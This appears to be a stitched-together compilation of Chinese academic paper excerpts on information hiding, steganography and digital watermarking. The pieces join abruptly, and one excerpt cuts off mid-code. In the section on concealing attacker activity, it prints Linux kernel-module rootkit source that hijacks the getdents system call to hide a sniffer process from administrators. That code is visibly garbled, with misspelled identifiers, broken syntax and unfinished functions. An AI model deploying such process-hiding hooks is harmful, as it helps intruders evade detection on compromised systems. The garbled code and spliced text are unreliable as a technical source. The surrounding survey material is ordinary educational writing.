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多媒體技術和通信技術帶來極大方便，但數(shù)字化的多媒體信息很容易受到非法訪問、篡改、復制和傳播，給人們的生產(chǎn)生活及生命財產(chǎn)帶來隱患。魔高一尺道高一丈，信息隱藏技術應運而生。

一、信息隱藏技術及其特征

信息隱藏技術利用載體數(shù)據(jù)的冗余性以及人的感官局限性，將一個特定信息隱藏在另外一個被稱為載體的信息中。信息隱藏技術融合電子工程、計算機科學、信號處理、通信、多媒體技術等多學科，是新興技術體系。信息隱藏所用載體可以是文本、圖像、音頻、視頻，甚至可以是某個信道或某套編碼體制。信息能夠隱藏在載體中，載體數(shù)據(jù)本身具有很大的冗余性，未壓縮的多媒體信息編碼效率是很低，將某些信息嵌入到該載體信息中進行秘密傳送完全可行，不會影響多媒體信息本身的傳送和使用；人的感覺器官對于所接收信息都有一定掩蔽效應，如人耳對不同頻段聲音敏感程度不同，可將信息隱藏到載體中而不被覺察。

信息隱藏技術的特征明顯：不可察覺性，嵌入信息后，要求不會引起載體發(fā)生可感知變化；不可檢測性，嵌入隱藏信息后，計算機不能發(fā)現(xiàn)和檢測；安全性，嵌入信息后，必須擁有相關信息才能夠提取所嵌入內(nèi)容；純正性，提取操作時，即便載密文件受到損壓縮、解壓縮、濾波、轉(zhuǎn)換等擾動，也能提取隱藏信息；穩(wěn)定性，隱藏信息能“永久”存在；安全性，第三方在不知道隱藏算法和隱藏密鑰情況下，不能獲取信息相關數(shù)據(jù)。信息隱藏技術按載體分為，基于文本、圖像、音頻、視頻、超文本、網(wǎng)絡層、圖形等媒體的信息隱藏技術；按嵌入域分為基于空域（或時域）和變換域的隱藏技術；按嵌入策略分為替換調(diào)制、模式調(diào)制和擴頻疊加調(diào)制等技術；按提取要求分為盲隱藏技術和非盲隱藏技術；按作用分為隱蔽通信和數(shù)字水印技術；按密鑰分為無密鑰隱藏和有密鑰隱藏。

二、信息隱藏技術的研究及演進

信息安全事關個人利益，也事關國家安全、社會穩(wěn)定以及經(jīng)濟發(fā)展，各國政府無不重視信息和網(wǎng)絡安全。密碼技術一直是保障信息安全的重要手段，但這并不能解決問題。截獲者發(fā)現(xiàn)網(wǎng)絡文件加密，往往會引起注意，并激發(fā)其破解欲望，即使不能成功破解，也能輕易攔截并破壞秘密信息，干擾通信進行。針對密碼技術的局限性，上世紀90年代國際上出現(xiàn)了信息隱藏技術（InformationHiding）。

現(xiàn)代信息隱藏研究主要集中在靜態(tài)圖像領域，目前信息隱藏所用載體已擴展到文字、圖像、聲音及視頻等領域。在全球信息化、數(shù)字化迅猛發(fā)展時代背景下，對知識產(chǎn)權保護、隱密通信等需求激發(fā)了對信息隱藏技術的研究熱潮。國際上研究信息隱藏的機構主要有劍橋大學、麻省理工學院、NEC美國研究所、IBM研究中心等，已提出了一些優(yōu)秀隱藏算法。我國于1999年在何德全、周仲義、蔡吉人等三位院士大力倡導下召開了第一屆信息隱藏學術研討會，我國對信息隱藏的研究也取得重要成果。目前在信息隱藏中無論是數(shù)字水印還是隱密通信，都得到越來越廣泛應用。應用領域不斷擴大，從最初靜態(tài)圖片發(fā)展到文本、音頻、視頻、電腦文件、流媒體、網(wǎng)頁及網(wǎng)絡傳輸中的數(shù)據(jù)包，甚至是無線通信領域中的語音通信和手機彩信等領域。我國對信息隱藏的研究取得了很多成果，基本與世界水平保持一致。如今信息隱藏研究已出現(xiàn)百花齊放、百家爭鳴局面。

三、信息隱藏技術的應用

隨著信息技術飛速發(fā)展，人類利用的信息越來越豐富，通信技術發(fā)展使人們能夠方便、快捷、靈活地使用文本、語音、圖像與視頻等多種方式通信；各種數(shù)字化信息處理技術使得網(wǎng)絡中傳輸任何類型的文件（如文本、圖像、音頻和視頻等）都可被數(shù)字化，極大方便了對各種信息數(shù)據(jù)壓縮、存儲、復制、處理和利用。

信息隱藏技術主要有隱寫術和數(shù)字水印。目前，信息隱藏技術的應用主要在以下方面：一是隱密通信。通過隱寫術將秘密信息嵌入在公開媒體文件中傳播消息。早期的隱密通信，接收方和發(fā)送方甚至不必交換電子郵件，直接交互文件或登錄特定計算機和賬戶。隨著網(wǎng)絡及通信技術發(fā)展，隱密通信所用通信方式從簡單數(shù)據(jù)文件交互到互聯(lián)網(wǎng)以及無線通信領域。二是版權保護。通過數(shù)字水印技術在媒體文件中嵌入特定數(shù)字標識或簽名，標識媒體文件所有權和版權信息等。三是數(shù)據(jù)完整性保護。防護篡改、完整性保護中所采用的數(shù)字水印為易損水印或脆弱水印，任何對媒體文件修改都會從隱藏數(shù)據(jù)中反映出來。四是印刷品防偽。印刷品印刷之前嵌入一定標識信息，印刷后作品可經(jīng)過掃描再次輸入計算機，通過特定水印提取和鑒別方法來鑒別作品真?zhèn)?。五是拷貝控制?？刂泼襟w文件拷貝次數(shù)，防止大規(guī)模盜版或非法復制。

信息隱藏技術重點運用領域是移動通信領域。移動通信網(wǎng)絡方便快捷，在軍事和商業(yè)通信中廣泛應用。移動通信領域多媒體短信將文本、圖片、音頻、視頻等組合成多媒體消息進行發(fā)送。移動通信領域中多媒體短信以其特有的直觀性、生動性和集成性，面市以來得到廣泛關注。多媒體短信即彩信的最大特色是支持多媒體功能，可將不同的媒體，如文本、圖片、音頻、視頻等組合在一起進行發(fā)送。彩信標準并沒有對彩信所支持的文件格式給出具體限制，理論上只要在封裝打包時為彩信所包含的各媒體文件設置好適當類型參數(shù)即可；但實際上具體的彩信所支持媒體格式還是有限的，這主要與手機終端彩信軟件和MMSC支持傳送媒體格式有關。隨著3G普及以及手機終端行業(yè)發(fā)展，彩信所支持的媒體文件格式將更豐富多樣，為信息隱藏技術在彩信中的應用提供了更為廣闊的空間。

【參考文獻】

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中圖分類號：TP309 文獻標識碼：A文章編號：1007-9599 (2011) 14-0000-01

Information Hiding Technology and Implementation Methods

Wang Hao,Yang Bo,Zhang Jian

(Shandong Provincial Military Area Command,Jinan250099,China)

Abstract:Today,the information technology and the computer technology is highly developed,the combination of digital information and the ancient steganography make the digital hiding technology become a new technology,which provides a new way to explore the non-cryptographic security communication.

Keywords:Information hiding technology;Implementation

信息隱藏的思想起源于隱寫術，它是一種將秘密信息隱藏于另一個非機密文件內(nèi)容之中，在傳輸、存儲過程中不被察覺和發(fā)現(xiàn)，接收者獲得隱藏對象后，按照約定規(guī)則還原秘密信息的技術。其道理如同生物學上的保護色，巧妙地將自己偽裝隱藏于自然環(huán)境中，免于被天敵發(fā)現(xiàn)而遭受攻擊。

信息隱藏技術可以追溯到遠古時代，方法從音符、咒語到五花八門的隱寫術，但隱寫術發(fā)展一直比較緩慢，沒有成為一門獨立的學科，人們對于信息保密更多的是采用密碼技術。直到信息技術和計算機技術高度發(fā)達的今天，數(shù)字化信息與隱寫術相結合，為古老的隱寫術注入了新的活力，使得數(shù)字化信息隱藏技術成為一門全新的技術，為探索非密碼的通信安全提供了新途徑。

一、信息隱藏的基本方式

（一）傳輸隱藏。在視頻通信系統(tǒng)中隱藏信息，利用視頻通信壓縮編碼中可利用的資源，在確保不使視頻信號質(zhì)量嚴重下降的前提下，嵌入壓縮的話音編碼，形成秘密通信信道。同時數(shù)據(jù)通信中的IP包和TCP包，均有未使用的保留空間，可用來傳輸隱藏信息。另外，IP包的時間戳也可傳送1個比特的數(shù)據(jù)。

（二）載體隱藏。在文本文件、圖像文件及可執(zhí)行文件中插入秘密信息，可實現(xiàn)信息隱藏。利用話音信號的自然冗余性，將秘密信息直接編碼到文件內(nèi)容中去，或?qū)⑵渚幋a到文本格式中，形成以文本為載體的信息隱藏。將秘密信息插入圖像文件中對人的視覺系統(tǒng)不敏感的比特位，在不影響圖像質(zhì)量的前提下實現(xiàn)信息隱藏。利用可執(zhí)行文件中的冗余信息，加載秘密信息。

（三）存儲隱藏。利用計算機系統(tǒng)中保留或未使用的空間保存秘密信息，為隱藏信息提供另外一種方式，通過創(chuàng)建隱藏分區(qū)、使用操作系統(tǒng)分配給文件但未使用的空間來隱藏信息。同一個計算機系統(tǒng)中不同安全級別的兩臺主機，根據(jù)預先約定的規(guī)則，通過存儲特定數(shù)據(jù)也可傳遞信息。級別高的主機在特定區(qū)域存儲不同大小、不同名稱的文件，級別低的主機雖不能訪問數(shù)據(jù)，但可從文件列表獲取所要的信息。

二、信息隱藏的實現(xiàn)方法

（一）基于替換的信息隱藏方法?；谔鎿Q的信息隱藏，就是用秘密信息比特替換掉偽裝載體中不重要的比特，實現(xiàn)對秘密信息的隱藏。如果這種嵌入的信息在傳輸過程中不被察覺，接收者就可從秘密信息嵌入的位置提取出秘密信息。常用的替換方法：一是最低比特位替換。就是利用圖像位平面最低幾位比特對人的視覺系統(tǒng)不敏感的特性，將這些比特替換成秘密信息的相應比特。利用此種方法可在偽裝載體中隱藏大量秘密信息而不被察覺。二是偽隨機置換。就是把秘密信息比特近似隨機地分散在整個載體中。用偽隨機數(shù)發(fā)生器產(chǎn)生索引序列，并在以此為索引的載體元素中插入秘密信息。利用此種方法插入比特的順序無規(guī)律可找，因而增加了被攻擊的復雜度。三是載體區(qū)域和奇偶校驗位替換。將載體偽隨機地分成若干個不相接的載體區(qū)域，在每個區(qū)域的奇偶校驗位上嵌入一個信息比特，若奇偶校驗位與信息比特不匹配，則區(qū)域中所有值最低一個比特位反轉(zhuǎn)，使二者相等，在譯碼過程中計算出所有區(qū)域的奇偶校驗位，排列起來重構信息。四是量化和抖動替換。利用數(shù)字圖像的抖動和量化處理過程插入秘密信息。運用預測編碼的量化誤差，通過調(diào)整差分信號Δi來傳送秘密信息。五是OSI網(wǎng)絡協(xié)議幀結構替換。就是將秘密信息插入TCP/IP包中未使用的空間，形成一個秘密的通信信道。

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中圖分類號：F407.63 文獻標識碼：A 文章編號：

信息隱藏技術是現(xiàn)代人們保障信息安全的研究焦點，涉及很多領域，是人體感知能力、信息技術；密碼技術等學科的很好的應用，其實現(xiàn)的主要載體是計算機多媒體技術，本文中作簡單分析。

1信息隱藏技術的原理和特征

1.1信息隱藏與信息加密

信息加密是利用密碼學技術將機密文件進行加密編碼，把明文變換成密文后，通過公開信道送到接收者手中（見圖1）。由于經(jīng)過加密處理的密文是一組亂碼，當監(jiān)視通信信道的攻擊者發(fā)現(xiàn)并截獲到亂碼后，就可以利用已有的各種攻擊方法對密文進行破譯。這種方式雖然不易被解密，但通信易被第三方察覺，一定程度上向攻擊者明確提示了重要信息的存在，所以容易引起攻擊者的注意，進而遭受到干擾和攻擊，導致密文通信失敗。同時，即使攻擊者無法對密文進行破譯，也可在破譯失敗后將該信息進行破壞，使得合法的接收者也無法獲取密文。

圖1 信息加密過程示意圖

信息隱藏也稱“信息隱匿”，是信息安全研究領域中的一門新興的交叉學科，也是當前信息安全領域國內(nèi)外各機構研究的熱點方向。信息隱藏與信息加密的目的相同，都是為了保護秘密信息的存儲和傳輸，使之免遭第三方的破壞和攻擊，但兩者之間具有顯著的區(qū)別。信息隱藏技術是將機密信息秘密隱藏于另一公開信息（載體、宿主、掩體對象）中，即將秘密信息（嵌入對象）嵌入到另一表面看起來普通的信息載體中，然后通過該公開信息（隱藏對象）的傳輸來傳遞秘密信息（見圖2）。第三方很難從公開信息中判斷機密信息是否存在，即無法直觀地判斷所監(jiān)視的信息中是否含有秘密信息。這種方式使含有隱匿信息的宿主信息不會引起第三方的注意和懷疑，降低了機密信息的截獲率，從根本上保證了機密信息的安全。其關鍵技術主要是在確保宿主文件格式、質(zhì)量和大小不變的前提下，將密文保存在該宿主文件中，且能對密文實現(xiàn)無損還原。

圖2 信息隱藏過程示意圖

1.2信息隱藏技術的原理

信息隱藏系統(tǒng)（典型模型見圖3）包括一個嵌入過程和一個提取過程。在嵌入和提取過程中通常都會使用一個秘密信息來對其進行控制，使得只有合法授權用戶才能對其進行操作，這個秘密信息被稱為隱藏密鑰，隱藏密鑰在嵌入過程中稱為嵌入密鑰，在提取過程中稱為提取密鑰。

在嵌入過程中，信息隱藏者利用嵌入密鑰，將密文添加到載體中，生成隱蔽載體。隱蔽載體在傳輸過程中有可能被隱藏分析者截獲并進行處理。在提取過程中，提取者利用提取密鑰從接收到的、可能經(jīng)過修改的隱蔽載體中恢復出密文。在密文提取時，根據(jù)隱藏算法的不同，有可能需要載體，也可能不需要。

圖3 信息隱藏系統(tǒng)的典型模型

信息隱藏可在不改變原有通信設備的基礎上實現(xiàn)，只需要在原通信系統(tǒng)的收發(fā)設備，增加信息隱藏/隱藏信息提取模塊，便能夠在完成信息隱蔽傳送的同時，保持系統(tǒng)原有的通信功能不受其影響（見圖4）。首先獲取密文信息，為進一步提高安全性，可結合信息加密技術對密文信息進行預處理，得到加密信息，之后可采取交織、糾錯等編碼措施。接下來，獲取載體信息，如音頻、圖像、文本等原始宿主信息；如果采用的是變換域信息隱藏算法，則需要對載體信息進行相應的域變換；同時，為使接收端能對隱藏信息進行準確的盲檢測，可在載體信息中加入同步信號。之后，便可將秘密信息嵌入到載體信息中、完成變換域的反變換，得到隱蔽載體。最后，由發(fā)送端將隱含密文信息的隱蔽載體通過公共信道進行傳送。

圖4 信息隱藏模型示意圖

接收端獲得隱蔽載體后，對其進行相應的域變換、信道解碼和解密后，就獲取了所嵌入的密文信息。

1.3信息隱藏技術的分類及特征

信息隱藏技術一般具有如下分類方法：

（1）按載體類型分類。根據(jù)信息隱藏所采用載體的不同，信息隱藏技術可分為文本信息隱藏、音頻信息隱藏、圖像信息隱藏、視頻信息隱藏等。音頻信息和圖像信息隱藏是信息隱藏的重要分支。

（2）按密鑰分類。若嵌入和提取采用相同密鑰，則稱其為對稱隱藏算法，否則稱為公鑰隱藏算法。

（3）按嵌入域分類。主要可分為空域（或時域）方法及變換域方法。

（4）按提取的要求分類。若在提取隱藏信息時不需要利用原始載體，則稱為盲隱藏；否則稱為非盲隱藏。

（5）按保護對象分類。主要可分為隱寫術和水印技術（見圖5）。

圖5 按保護對象分類

隱寫術的目的是在不引起任何懷疑的情況下秘密傳送消息，信息隱藏技術在通信中的應用主要是指隱寫術。數(shù)字水印是指嵌在數(shù)字產(chǎn)品中的數(shù)字信號，可以是圖像、文字、符號、數(shù)字等一切可以作為標識和標記的信息，其目的是進行版權保護、所有權證明、指紋（追蹤多份拷貝）和完整性保護等。匿名通信就是尋找各種途徑來隱藏通信的主體，即信息的發(fā)送者和接收者。

2信息隱藏技術在電子通信中的應用前景

當前，我國在信息安全的應用方法和研究領域方面，大多還是采用傳統(tǒng)意義下的信息加密技術，例如用hash函數(shù)，偽隨機序列等密碼學技術等，這種信息安全模式存在兩大弊端：一是信息安全無法保障，不能保證加密的信息不被破譯；二是耗資巨大，現(xiàn)代先進信息安全技術往往對設備要求較高，這在很大程度上增加了對基礎工業(yè)的投入。因此，對信息隱藏新技術與新模式的研究和發(fā)展，在信息安全領域具有很大的潛在價值。

2.1將被動保密變主動隱藏。新型信息隱藏技術使需要保護的消息由“看不懂”變?yōu)椤翱床灰姟?；將傳統(tǒng)的“讓攻擊方解密不了”的信息加密理念提升為“讓攻擊方想象不到”的層面，從而使通信中傳統(tǒng)的保密、預防的被動模式，轉(zhuǎn)型到既安全又能夠迷惑第三方的主動模式。

2.2現(xiàn)有傳輸條件下的低信息截獲率。采用先進的信息與信號處理技術，以及多級包裝式信息隱藏新模式，可在很大程度上降低現(xiàn)有傳輸條件下秘密信息的截獲率。舉例而言，假如需要傳輸秘密文本信息A，我們將該文本A隱藏于另一文本信息B中，之后，我們將該文本B隱藏于圖片C中，再將圖片C隱藏于圖片D中，最后將圖片D隱藏于普通話音中。即文本A（隱藏于）文本B（隱藏于）圖片C（隱藏于）圖片D（隱藏于）普通話音。通過上述方式，一是攻擊方不會想到秘密信息正在以一種特殊多級包裝形式進行傳輸，也就沒有試圖解密的意圖；二是即使前幾層包裝信息（B、C、D）被破譯，攻擊方自以為解密成功，從而放棄繼續(xù)解密的意圖，卻不知道真正的秘密信息（文本A）并沒有被解密出來。

3結語

目前信息隱藏技術是保障信息安全的關鍵技術，在國內(nèi)外都得到了廣泛的應用，并且都取得了一定成績。信息隱藏技術作為一種重要的信息安全技術，潛在的價值是無法估量的, 特別是在迫切需要解決的版權保護等方面, 可以說是根本無法被代替的, 相信其必將在未來的信息安全體系中發(fā)揮越來越重要的作用。

參考文獻：

［1］王麗娜等.信息隱藏技術與應用［M］.武漢：武漢大學出版社，2009.

［2］楊波.信息隱藏技術及其應用［M］.北京：科學出版社，2002.

［3］吳志軍等.語音隱藏的研究及實現(xiàn)［J］.通信學報，2002，23（8）：99-104.

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關鍵詞：

電子信息；隱藏技術

在利用互聯(lián)網(wǎng)傳送數(shù)據(jù)、文件的時候，極有可能會出現(xiàn)數(shù)據(jù)、文件被攻擊、竊取等問題，尤其那些關于國家安全、經(jīng)濟發(fā)展、個人隱私的資料，一旦被非法分子獲取，極有可能會影響國家的經(jīng)濟以及個人的安危。為了有效的解決這些問題，人們引入了網(wǎng)絡加密技術。但是加密技術將文件、數(shù)據(jù)變成了亂碼，更易激發(fā)某些人“挑戰(zhàn)權威”的欲望。為了解決新問題，人們又引進了信息隱藏技術，將機密文件“偽裝”成普通文件，這樣就能有效的混淆人們的視聽，提升網(wǎng)絡傳輸?shù)陌踩浴?/p>

一、電子信息隱藏技術

電子信息隱藏與信息偽裝是同一個概念，都是利用有效手段將機密信息隱藏于另一個非機密信息之中，用以混淆“有心人”視聽的一種電子信息技術。隱藏技術的載體類型非常的多樣，可以是圖像、聲音、視頻還可以是文檔，因此，不易被一般人辨識，即便某些人發(fā)現(xiàn)了隱藏信息，也難以提取信息，這就使得機密的信息、文件得以安全傳輸。因傳統(tǒng)的加密技術思想和方法具備優(yōu)勢，所以現(xiàn)階段人們所使用的信息隱藏技術是在有所保留的同時進行了改進。按照處理對象的不同信息隱藏技術可以被分為數(shù)字水印技術、疊像技術以及替聲技術等。其中，疊像技術是一種將信息隱藏在載體中進行安全傳輸?shù)募夹g。數(shù)字水印技術可以在開放的網(wǎng)絡環(huán)境下保護版權，可以識別與版權相關各方的信息，并將這些信息轉(zhuǎn)化成“隱藏信息”嵌入圖像、音頻、視頻等，以實現(xiàn)確認所有權和信息跟蹤目標。替聲技術按照聲音包含的內(nèi)容進行分類，可以通過處理聲音信息，改變原聲的對象、內(nèi)容等隱藏真正的聲音信息。

二、電子信息隱藏技術的特征分析

與傳統(tǒng)的信息相比，安全技術電子信息隱藏技術具備六個明顯的特征優(yōu)勢：第一，安全性。能夠有效的抗擊強攻擊能力，即便是遭受了一定的人為攻擊，隱藏信息也可以最大限度的保存，而不受破壞。第二，隱蔽性。因為電子信息隱藏技術將需要傳遞的信息、資料隱藏于普通載體之中，信息對象的外部特征得以偽裝，也更難以被不法分子察覺、阻攔。第三，不可測性。因為隱蔽載體與原始載體存在某些潛在的、不容人輕易窺見的關聯(lián)性，即使被人攔截，想要正確的提取，卻也存在較大的困難。即便是能夠提取，也需要消耗大量的時間，這也就為信息、資料擁有者采取有效措施提供了時間。第四，不可見性。電子信息隱藏技術利用人類視聽覺屬藏處理資料、信息，目標資料的內(nèi)容、質(zhì)量并沒有改變，但卻無法被人為的看見或是聽見。第五，不可變性。即便是隱藏載體發(fā)生變化，比較常見的變化類型包括諸如增強、濾波、有損壓縮、重采樣等一系列傳輸過程中的載體信號處理，諸如旋轉(zhuǎn)、平移、分割、縮放等一般的幾何變換以及惡意攻擊等，目標文件所包含的信息也不會丟失。第六，自恢復性。雖然電子信息隱藏技術具備不可變性，但是這種性質(zhì)并不能保證信息百分之百的絕對的“不可變”，因此，自恢復性有效的解決了操作損毀、變換文件的問題，只要損毀的標文件還殘留部分的數(shù)據(jù)，即使沒有宿主信號，也可以采取有效的措施，對目標文件進行恢復。

三、電子信息隱藏技術的應用狀況

（一）數(shù)據(jù)保密方面的應用互聯(lián)網(wǎng)的使用方便了人們的生活、學習，人們利用互聯(lián)網(wǎng)進行資料、數(shù)據(jù)的傳輸。然而，隨著互聯(lián)網(wǎng)技術的普及，很多不法之徒也將目光轉(zhuǎn)向了互聯(lián)網(wǎng)方向，非授權用戶利用不法手段截獲、使用相關資料，導致網(wǎng)絡不安全問題發(fā)生，嚴重的損害信息、資料所有者的權益?，F(xiàn)階段，經(jīng)濟全球化發(fā)展迅猛，互聯(lián)網(wǎng)傳輸資料所涉及的面也更加的廣泛，政治、軍事、商業(yè)、金融、個人隱私等的泄漏將會帶來的不良結果，誰也無法妄下斷言。因此，信息隱藏是及其重要且必要的。信息隱藏技術可以保護網(wǎng)上信息交流的安全系，還可以滿足一些人隱藏存儲私人的、“不愿為外人道”的個人隱私。

（二）數(shù)據(jù)完整性鑒定方面的應用現(xiàn)階段最常使用的信息隱藏技術包括數(shù)字水印技術、疊像技術以及替聲技術，通過分析這三種技術的實際應用情況，不難發(fā)現(xiàn)數(shù)字水印技術存在缺陷，一旦保護媒體被篡改，數(shù)字水印技術所隱藏的目標文件將會被破壞、暴露，進而被不法之徒識別。數(shù)字水印技術的使用在數(shù)字票據(jù)中比較常見。由于隱藏的水印經(jīng)打印后仍可保留，因此在鑒別數(shù)字票據(jù)真?zhèn)蔚臅r候，可以利用再掃描的方法使水印變?yōu)閿?shù)字形式，提取防偽水印。數(shù)據(jù)完整性鑒定包括鑒定信號真?zhèn)巍㈣b定信號的完整性、指出信號差別以及資料傳輸過程有無發(fā)生篡改、丟失等情況。數(shù)據(jù)完整性鑒定可以準確的鑒定獲知信號的真實性，大幅度的降低虛假、錯誤信息的使用。在具體應用的時候主要包括如下兩個步驟：首先，利用數(shù)據(jù)庫管理系統(tǒng)保證數(shù)據(jù)完整、準確的輸入和儲存。其次，充分考慮實際情況，選擇最合適的數(shù)據(jù)校驗方式對傳輸數(shù)據(jù)進行校驗檢查。

四、結束語

綜上所述，信息隱藏技術具備難以估量的應用價值以及廣闊的應用前景。但是作為一種有效的新型信息安全技術，信息隱藏技術的體系以及技術等都還有待加強。相關人士應充分的認識現(xiàn)階段的信息隱藏技術的優(yōu)勢與劣勢，深入的研究信息隱藏技術，進而使信息隱藏技術更好的發(fā)揮作用。

參考文獻:

[1]陳素霞，陳亞鋒．淺談信息隱藏技術及其應用[J]．沿海企業(yè)與科技，2010（03）．

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中圖分類號：TP393文獻標識碼：A文章編號：1009-3044(2007)04-10961-03

1 引言

攻擊活動是一系列連續(xù)操作，若攻擊時一不小心露出馬腳，所有前面的攻擊就會付諸東流，甚至會“引火燒身”。基于這樣的認識，精明的網(wǎng)絡攻擊者特別注意隱藏攻擊活動。

隱藏技術在計算機系統(tǒng)安全中應用十分廣泛，尤其是在網(wǎng)絡攻擊中，當攻擊者成功侵入一個系統(tǒng)后，有效隱藏攻擊者的文件、進程及其加載的模塊變得尤為重要。本文將討論網(wǎng)絡攻擊活動中文件、進程、網(wǎng)絡連接及通道的高級隱藏技術，這些技術有的已經(jīng)被廣泛應用到各種后門或安全檢測程序之中，而有一些則剛剛起步，仍然處在討論階段，應用很少。

2 進程活動隱藏技術

攻擊者在目標系統(tǒng)進行攻擊活動時，產(chǎn)生攻擊進程，如果不將這些攻擊進程隱藏在系統(tǒng)中，就會被網(wǎng)絡安全管理人員發(fā)現(xiàn)。例如，攻擊者注冊到某臺Linux主機時，系統(tǒng)管理人員使用ps-ef | grep in.telnetd命令就可以察覺。攻擊者可以通過修改系統(tǒng)的進程管理模塊，替換進程管理核心模塊，控制進程的顯示，主要是netstat、ps等命令。下面給出Linux系統(tǒng)下隱藏進程源程序的例子：

extern void* sys_call_table[];

/*隱藏進程名稱*/

char mtroj[]="my_evil_sniffer";

int (*orig_getdnts)(unsigned int fd,struct dirent *dirp,unsigned int coumt);

/*convert a string to number*/

int myatoi(char *str)

{ int res=0;

int mul=1;

char *ptr;

for(ptr=str+strlen(str)-1;ptr>=str;ptr--) {

if(*ptr'9')

return(-1);

res+=(*ptr-'0') *mul;

mul*=10;}

return (res);}

/*從task structure中獲取進程號*/

struct task_struct *get_task(pid_t pid)

{ struct task_struck *p=current;

do { if (p->pid==pid)

returnp;

p=p->next_task; }

while (p!=current);

return NULL;}

/*從task structure獲取進程名稱*/

static inline char *task_name(struct task_struct *p,char *buf)

{ int i; char *name;

name=p->comm;

i=sizeof(p->comm);

do {unsigned char c=*name;

name++; i--;

*buf=c;

if (!c);

break;

if (c=='\\') {

buf[1]=c; buf+=2;

continue; }

if (c= ='\n') {

buf[0]='\\';

buf[1]='n'; buf+=2;

continue; }

buf++;}

while (i);

*buf=’\n’;

return buf+1;}

/*確認需要隱藏的進程*/

int invisible (pid_t pid)

{struct task_struct *task=get_task (pid);

char *buffer;

if (task) {

buffer=kmalloc (200,GFP_KERNEL);

memset (buffer,0,200);

task_name (task,buffer);

if (strstr (buffer, (char *) &mtroj)) {

kfree (buffer);

return 1; }

}return 0;}

int hacked_getdents (unsigned int fd, struct dirent *dirp, unsigned int count)

{unsigned int tmp,n;

int t,proc=0;

struct inode *dinode;

struct dirent dirp2,dirp3;

tmp=(*orig_getdents) (fd,dirp,count);

#idef _LINUX_DCACHE_H

dinode=current->files->fd[fd]->d_inode;

#else

dinode=current->files->f_inode;

#endif

if (dinode->i_ino= =PROC_ROOT_INO && !MAJOR (dinode->I_dev) &&

MINOR (dinode->I_dev) = =1)

proc=1;

if (tmp>0) {

dirp2= (struct dirent *) kmalloc (tmp, GFP_KERNEL);

memcpy_fromfs( dirp2,dirp,tmp);

dirp3=dirp2;t=tmp;

while (t>0) {

n=dirp3->d_reclen;

t-=n;

if ((proc && invisble (myatoi (dirp3->d_name)))) {

if (t!=0)

memmove (dirp3, (char *)dirp3+dirp3->d_reclen,t);

else

dirp3->d_off=1024;

tmp-=n;}

if (t!=0)

dirp3= (struct dirent *) ((char *) dirp3+dirp3->d_reclen);}

memcpy_tofs (dirp,dirp2,tmp);

kfree (dirp2);}

return tmp;

int init_module (void)/*module setup*/

{orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;return 0;}

void cleanup_module (void)/*module shutdown*/

篇（6）

中圖分類號：TN918.6

當今社會已經(jīng)進入到了一體化的網(wǎng)絡時代，網(wǎng)絡成為最重要的傳媒手段，各種信息都通過網(wǎng)絡進行傳播，包括個人信息、軍事信息、私密信息等，如何在這種開放的環(huán)境中，最大程度保證信息的安全，是當下網(wǎng)絡技術的熱點話題。但是隨著信息技術的發(fā)展，計算機處理信息的能力也有所增強，傳統(tǒng)的秘鑰不再能保證信息的絕對安全，因此數(shù)據(jù)的隱藏技術成為了熱點，也是保護信息的重要手段。

1 信息隱藏技術概述

1.1 信息隱藏技術基本內(nèi)涵。信息隱藏技術主要是將秘密信息隱藏在普通的文件中，并通過數(shù)字化的信號進行處理，這樣通過對于用戶的視覺冗余來進行隱藏，最大程度保證信息的安全性。隱藏后的信息會使媒體的搜索目標變小，甚至無法發(fā)現(xiàn)，這樣秘密的信息和文件便可以通過這種形式來保護信息。信息隱藏技術目前應用比較廣廣泛，主要包括以下內(nèi)容。首先是隱藏術，主要內(nèi)容是進行秘密形式的通信，并且將信息藏匿與其他的普通信息中，信息隱藏主要是以第三方信息保護的形式，便于將信息傳輸?shù)侥康目蛻舳?。第二是?shù)字水印，可以是作者的序列號、公司的標識等，主要是能證明被保護的信息或者文件可以被證明以及查詢侵權的一種途徑。第三是數(shù)據(jù)嵌入。在不同形式的信息中，技術模式吸取了隱藏術與水印的優(yōu)勢，并通過嵌入的方式對于秘密信息進行保護。第四是指紋與標簽，是水印的一種特殊用途，水印的每個特定的信息可以進行信息的拷貝。

1.2 信息隱藏技術的特點。信息隱藏技術與傳統(tǒng)的信息加密不同，基本目的并不是限制文件資料的提取與保存，而是將數(shù)據(jù)信息隱藏最小化。除此之外，信息隱藏技術還要充分考慮到信息在通過多種程序處理之后，仍然具備可以運行操作的性質(zhì)，不會被破壞基礎屬性，因此信息隱藏技術需要具備以下特點。

（1）隱蔽性。信息隱藏的首要特性便是隱蔽性，主要指的是信息在嵌入之后，最大程度避免信息質(zhì)量的改變，同時也能掩飾信息的基本特征，在傳輸過程中不會引起察覺，在視覺方面可以很好保護信息不被發(fā)現(xiàn)，保證原始信息的一致性。例如擁有相同的統(tǒng)計分布，這樣變會混淆攔截者的信息判斷能力，保證信息的安全；（2）安全性。隱藏技術需要具備較強的安全性能，可以有效避免黑客的侵襲與共計，最大程度保護隱藏信息的安全；（3）恢復性。被保護的信息會經(jīng)過多重程序進行處理與改變，因此特性上會發(fā)生一定改變，如果原始信息受到了破壞，那么隱藏技術需要通過保存下來的信息來恢復原來的文件，這樣保證傳輸?shù)男畔蚀_性。

2 信息隱藏的技術方法

2.1 替換技術。人的感官系統(tǒng)對于一些細小的變化比較敏感，因此替換技術的核心就在于改變這些被保護文件中秘密的細節(jié)部分，并不被非法用戶注意。這種形式并不會影響被保護信息的性質(zhì)，而且可以對于被保護信息進行編碼程序，當前應用比較廣泛的替換技術包括最低比例的一換技術、隨機的替換技術、特定區(qū)域替換技術等等。

2.2 變換技術。絕大多數(shù)的信息隱藏技術都是通過正交變換域來實現(xiàn)的，由此可見變換技術核心是通過擴頻技術和密碼學原理，將被保護的信息嵌入到普通信息的變換域中，同時利用算法來進行信息的提取，轉(zhuǎn)換為隱蔽的形式。這種變換技術充分利用了人體感官對于空間頻率差異的敏感程度，進而改變被保護信息的性質(zhì)，確保信息不被察覺。

2.3 擴頻技術。被保護信息在進行隱藏的過程中，有可能會導致信息的破壞，甚至信息的消除，因此為了保護信息的原始特性，可以利用重復編碼的形式來進行擴頻。在被保護的信息中插入一個參數(shù)，確保信息在處理后仍然可以進行擴頻，通常選擇高速率的隨機碼來進行發(fā)送，而且這種信息數(shù)據(jù)自身的信號也可以完成擴展。

3 信息隱藏技術的應用

3.1 數(shù)字水印技術的應用。數(shù)字水印技術是信息隱藏技術最重要的一種形式，主要是通過在多媒體中插入不可感知的信息，因而實現(xiàn)對于信息的保護以及對于操作的記錄、跟蹤。

